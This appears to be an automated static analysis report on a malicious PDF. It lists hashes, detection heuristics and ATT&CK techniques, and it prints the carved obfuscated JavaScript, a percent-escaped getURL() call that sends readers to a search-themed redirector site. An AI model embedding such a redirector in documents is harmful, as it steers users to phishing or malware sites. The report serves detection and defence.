Malicious PDF — malware analysis report

Static analysis result for SHA-256 3d67d0946a759714…

MALICIOUS

PDF

54.4 KB Created: 2012-10-19 02:58:12 +04:00 Authoring application: http://www.instructables.com (via mPDF 5.0) First seen: 2026-05-08
MD5: 51f91d1f84e508c0d95fe257d2f55d02 SHA-1: 67c4b9875dd95be265ed1e6f9c6b1396273924e0 SHA-256: 3d67d0946a759714057cdcf6e7d5300dc467bf05be3e35c9d789e9cc32a23109
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that uses the getURL function to redirect the user to a suspicious URL. The script reconstructs the URL 'http://wwwsearchsites.com/in.cgi?3' from an escaped string, indicating a malicious campaign. This technique is commonly used to lure users to phishing or malware distribution sites.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9392

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wwwsearchsites.com/in.cgi?3 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xD250 127 bytes
SHA-256: 86bd26d4bd59bd5bac918a1e6d170e9557ac2bab8e8f979ca129ff73eefa041a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%77%77%77%73%65%61%72%63%68%73%69%74%65%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%33'))
stream_003_off000017e9.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x17E9 17772 bytes
SHA-256: dcd1ba64d747e0bf0b9b8ecc270a7bea07ca4cd5917a768cd217f1d51287033b
font_01_sfnt_off00004604.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4604 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007444.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7444 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516
font_03_sfnt_off0000a6d1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xA6D1 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

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